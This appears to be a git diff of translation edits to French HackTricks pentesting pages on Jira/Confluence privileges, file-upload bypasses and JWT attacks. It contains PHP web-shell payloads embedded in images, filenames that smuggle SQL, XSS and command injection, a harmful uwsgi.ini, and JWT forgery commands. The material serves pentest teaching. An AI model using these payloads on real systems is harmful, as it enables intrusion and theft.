|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Vérifier les privilèges
|
||||
|
||||
Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable se pose lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible pour une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** soulignent également une **vulnérabilité**.
|
||||
Dans Jira, **les privilèges peuvent être vérifiés** par tout utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable survient lorsque **des utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible pour une **récompense**. De même, **des privilèges inattendus pour les utilisateurs authentifiés** mettent également en évidence une **vulnérabilité**.
|
||||
|
||||
Une **mise à jour importante** a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre 'permission'**. Cette exigence vise à **améliorer la sécurité** en spécifiant les privilèges demandés : [vérifiez-le ici](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -124,12 +124,12 @@ Voici quelques-unes des actions qu'un plugin malveillant pourrait effectuer :
|
|||
|
||||
* **Cacher les plugins des administrateurs** : Il est possible de cacher le plugin malveillant en injectant du javascript front-end.
|
||||
* **Exfiltration des pièces jointes et des pages** : Permet d'accéder et d'exfiltrer toutes les données.
|
||||
* **Vol des tokens de session** : Ajouter un point de terminaison qui renverra les en-têtes dans la réponse (avec le cookie) et un javascript qui le contactera et fuitera les cookies.
|
||||
* **Vol des tokens de session** : Ajouter un point de terminaison qui renverra les en-têtes dans la réponse (avec le cookie) et un peu de javascript qui le contactera et divulguera les cookies.
|
||||
* **Exécution de commandes** : Bien sûr, il est possible de créer un plugin qui exécutera du code.
|
||||
* **Shell inversé** : Ou obtenir un shell inversé.
|
||||
* **Proxy DOM** : Si le confluence est à l'intérieur d'un réseau privé, il serait possible d'établir une connexion via le navigateur d'un utilisateur ayant accès et, par exemple, de contacter le serveur pour exécuter des commandes à travers cela.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -145,7 +145,7 @@ Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,9 @@ Apprenez et pratiquez le piratage GCP : <img src="../../.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de piratage** et par le fait de pirater l'impossible - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière de piratage** et par le piratage de l'impossible - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Si vous êtes intéressé par une **carrière de piratage** et par le fait de pi
|
|||
Autres extensions utiles :
|
||||
|
||||
* **PHP** : _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
* **Fonctionnant en PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **Fonctionnant dans PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **ASP** : _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
* **Jsp :** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
* **Coldfusion :** _.cfm, .cfml, .cfc, .dbm_
|
||||
|
@ -34,7 +34,7 @@ Autres extensions utiles :
|
|||
* **Perl** : _.pl, .cgi_
|
||||
* **Erlang Yaws Web Server** : _.yaws_
|
||||
|
||||
### Contourner les vérifications des extensions de fichiers
|
||||
### Contourner les vérifications d'extensions de fichiers
|
||||
|
||||
1. Si elles s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les également en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
|
||||
2. _Vérifiez **en ajoutant une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_
|
||||
|
@ -50,7 +50,7 @@ Autres extensions utiles :
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Essayez de contourner les protections **en trompant le parseur d'extension** du côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (**octets** nuls) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer un meilleur payload._
|
||||
4. Essayez de contourner les protections **en trompant le parseur d'extensions** du côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (**octets** nuls) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer un meilleur payload._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -62,10 +62,10 @@ Autres extensions utiles :
|
|||
5. Ajoutez **une autre couche d'extensions** à la vérification précédente :
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **_**.php**_**, mais** pas nécessairement se terminant par .php** exécutera du code) :
|
||||
6. Essayez de mettre l'**extension exec avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **.php**, mais pas nécessairement se terminant par .php, exécutera du code) :
|
||||
* _ex : file.php.png_
|
||||
7. Utilisation de **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un caractère point après ce motif pourrait également être utile pour contourner d'autres restrictions (par exemple, “file.asp::$data.”)
|
||||
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
8. Essayez de briser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
|
@ -86,11 +86,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou vous pourriez également **introduire le payload directement** dans une image :\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Si **la compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser la **technique du chunk PLTE** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* Si **la compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser la **technique de chunk PLTE** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser la **technique du chunk IDAT** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser la **technique de chunk IDAT** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser la **technique du chunk tEXt** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser la **technique de chunk tEXt** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Autres astuces à vérifier
|
||||
|
@ -125,7 +125,7 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob
|
|||
|
||||
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [Exploitation RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des espaces réservés et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
|
||||
Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables, des espaces réservés et des opérateurs "magiques". Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité.
|
||||
|
||||
Considérez l'exemple suivant d'un fichier `uwsgi.ini` nuisible, montrant divers schémas :
|
||||
```ini
|
||||
|
@ -152,7 +152,7 @@ Il est crucial de comprendre la nature laxiste de l'analyse du fichier de config
|
|||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Dans certaines occasions, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et vous pouvez **indiquer** l'**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés est dans une liste blanche pour s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
|
||||
La **longueur** maximale d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournant** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
|
||||
La **longueur maximale** d'un **nom de fichier** dans **linux** est de **255**, cependant, **wget** tronque les noms de fichiers à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (car dans cet exemple **".gif"** est une **extension valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -185,8 +185,8 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
|
|||
|
||||
* Définissez **filename** sur `../../../tmp/lol.png` et essayez d'atteindre un **path traversal**
|
||||
* Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **injection SQL**
|
||||
* Définissez **filename** sur `<svg onload=alert(document.domain)>` pour atteindre un XSS
|
||||
* Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md))
|
||||
* Définissez **filename** sur `<svg onload=alert(document.domain)>` pour réaliser un XSS
|
||||
* Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injections de commandes ici](../command-injection.md))
|
||||
* [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** fichier **upload** + **XSS** = [exploitation des **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
|
@ -194,7 +194,7 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c
|
|||
* Essayez **différents payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Fameuse vulnérabilité **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**.
|
||||
* [**XXE et CORS** contournement avec le téléchargement de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* [**XXE et CORS** contournement avec le téléchargement PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données.
|
||||
* Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus**
|
||||
* Vérifiez s'il y a une **limite de taille** lors du téléchargement de fichiers
|
||||
|
@ -268,7 +268,7 @@ create_zip()
|
|||
```
|
||||
**Abuser de la compression pour le file spraying**
|
||||
|
||||
Pour plus de détails **consultez le post original sur** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Pour plus de détails **consultez le post original dans** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Création d'un Shell PHP** : Le code PHP est écrit pour exécuter des commandes passées par la variable `$_REQUEST`.
|
||||
|
||||
|
@ -329,7 +329,7 @@ Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -8,20 +8,20 @@ Apprenez et pratiquez le hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière de hacking** et par le fait de hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière de hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Une partie de ce post est basée sur le super post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Une partie de ce post est basée sur l'excellent post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Auteur du super outil pour pentester les JWT** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Gains Rapides**
|
||||
|
@ -44,7 +44,7 @@ Vous pouvez également utiliser l'[**extension Burp SignSaboteur**](https://gith
|
|||
|
||||
### Modifier les données sans rien changer
|
||||
|
||||
Vous pouvez simplement modifier les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin" par exemple.
|
||||
Vous pouvez simplement modifier les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple.
|
||||
|
||||
#### **La token est-elle vérifiée ?**
|
||||
|
||||
|
@ -75,7 +75,7 @@ Définissez l'algorithme utilisé comme "None" et supprimez la partie signature.
|
|||
|
||||
Utilisez l'extension Burp appelée "JSON Web Token" pour essayer cette vulnérabilité et pour changer différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du token. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").
|
||||
|
||||
### Changer l'algorithme RS256(asymétrique) en HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Changer l'algorithme RS256 (asymétrique) en HS256 (symétrique) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.\
|
||||
L'algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l'authentification.
|
||||
|
@ -115,13 +115,13 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
Une revendication d'en-tête optionnelle connue sous le nom de `kid` est utilisée pour identifier une clé spécifique, ce qui devient particulièrement vital dans les environnements où plusieurs clés existent pour la vérification de la signature du jeton. Cette revendication aide à sélectionner la clé appropriée pour vérifier la signature d'un jeton.
|
||||
|
||||
#### Révélation de la clé via "kid"
|
||||
#### Révéler la clé via "kid"
|
||||
|
||||
Lorsque la revendication `kid` est présente dans l'en-tête, il est conseillé de rechercher dans le répertoire web le fichier correspondant ou ses variations. Par exemple, si `"kid":"key/12345"` est spécifié, les fichiers _/key/12345_ et _/key/12345.pem_ doivent être recherchés dans la racine web.
|
||||
|
||||
#### Traversée de chemin avec "kid"
|
||||
|
||||
La revendication `kid` peut également être exploitée pour naviguer dans le système de fichiers, permettant potentiellement la sélection d'un fichier arbitraire. Il est possible de tester la connectivité ou d'exécuter des attaques de Server-Side Request Forgery (SSRF) en modifiant la valeur `kid` pour cibler des fichiers ou services spécifiques. La manipulation du JWT pour changer la valeur `kid` tout en conservant la signature originale peut être réalisée en utilisant le drapeau `-T` dans jwt\_tool, comme démontré ci-dessous :
|
||||
La revendication `kid` peut également être exploitée pour naviguer à travers le système de fichiers, permettant potentiellement la sélection d'un fichier arbitraire. Il est possible de tester la connectivité ou d'exécuter des attaques de Server-Side Request Forgery (SSRF) en modifiant la valeur `kid` pour cibler des fichiers ou services spécifiques. La manipulation du JWT pour changer la valeur `kid` tout en conservant la signature originale peut être réalisée en utilisant le drapeau `-T` dans jwt\_tool, comme démontré ci-dessous :
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -129,7 +129,7 @@ En ciblant des fichiers avec un contenu prévisible, il est possible de forger u
|
|||
|
||||
#### Injection SQL via "kid"
|
||||
|
||||
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe dans une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise une injection SQL pour altérer le processus de signature JWT inclut :
|
||||
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe d'une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise une injection SQL pour altérer le processus de signature JWT inclut :
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
|
@ -146,7 +146,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan
|
|||
#### jku
|
||||
|
||||
jku signifie **JWK Set URL**.\
|
||||
Si le jeton utilise une revendication d'en-tête "**jku**", alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
|
||||
Si le jeton utilise une revendication d'en-tête “**jku**”, alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
|
||||
|
||||
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
|
||||
```bash
|
||||
|
@ -167,9 +167,9 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
URL X.509. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. Une sécurité de transport est requise pour transférer les certificats.
|
||||
URL X.509. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. Une sécurité de transport est requise pour transférer les certificats.
|
||||
|
||||
Essayez de **changer cet en-tête en une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez falsifier le JWT**.
|
||||
Essayez de **changer cet en-tête en une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
|
||||
|
||||
Pour forger un nouveau jeton en utilisant un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publique et privée :
|
||||
```bash
|
||||
|
@ -180,7 +180,7 @@ Alors vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer
|
|||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
Vous pouvez également abuser de ces deux vulnérabilités **pour des SSRFs**.
|
||||
Vous pouvez également abuser de ces deux vulnérabilités **pour les SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -252,17 +252,17 @@ Il a été observé que certaines applications web s'appuient sur un service JWT
|
|||
|
||||
**Vérification de l'expiration des jetons**
|
||||
|
||||
L'expiration du jeton est vérifiée à l'aide de la revendication "exp" Payload. Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre de se faire passer pour cet utilisateur. La RFC JWT recommande d'atténuer les attaques de replay JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est cruciale. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de jwt_tool.
|
||||
L'expiration du jeton est vérifiée à l'aide de la revendication "exp" Payload. Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation soigneuse est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre d'usurper l'identité de cet utilisateur. Le RFC JWT recommande d'atténuer les attaques de replay JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est cruciale. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de jwt_tool.
|
||||
|
||||
* Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.
|
||||
* Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela peut impliquer que le jeton ne pourrait jamais expirer.
|
||||
|
||||
### Outils
|
||||
|
